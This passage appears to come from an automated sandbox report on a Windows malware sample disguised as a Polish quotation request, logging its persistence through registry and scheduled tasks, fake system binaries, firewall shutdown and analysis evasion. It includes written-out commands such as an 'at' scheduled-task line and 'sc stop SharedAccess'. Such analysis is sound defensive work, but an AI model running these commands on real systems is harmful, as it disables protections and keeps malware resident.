Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Windows\System\svchost.exe

Process created: C:\Windows\SysWOW64\at.exe at 08:09 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe

Source: C:\Windows\System\svchost.exe

Registry key value modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\SharedAccess

Jump to behavior

Source: C:\Windows\System\explorer.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce Explorer	Jump to behavior
Source: C:\Windows\System\explorer.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce Explorer	Jump to behavior
Source: C:\Windows\System\explorer.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce Explorer	Jump to behavior
Source: C:\Windows\System\explorer.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce Explorer	Jump to behavior
Source: C:\Windows\System\explorer.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce Svchost	Jump to behavior
Source: C:\Windows\System\explorer.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce Svchost	Jump to behavior
Source: C:\Windows\System\explorer.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce Svchost	Jump to behavior
Source: C:\Windows\System\explorer.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce Svchost	Jump to behavior

Source: C:\Windows\System\svchost.exe

Process created: C:\Windows\SysWOW64\sc.exe sc stop SharedAccess

Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Code function: 1_2_004772DE IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		1_2_004772DE
Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Code function: 1_2_004375B0 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,		1_2_004375B0

Source: C:\Users\user\Desktop\ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\icsys.icn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\icsys.icn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\icsys.icn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\icsys.icn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\icsys.icn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\icsys.icn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\icsys.icn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\icsys.icn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\icsys.icn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\icsys.icn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\icsys.icn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\spoolsv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\spoolsv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\spoolsv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\spoolsv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\spoolsv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\spoolsv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\spoolsv.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Contains functionality to detect sleep reduction / modifications

Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe

Code function: 1_2_00444078

1_2_00444078

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe

API/Special instruction interceptor: Address: 3EE0EA4

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 600000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599875
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599766
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599641
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599531
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599421
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599308
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599117
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598962
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598859
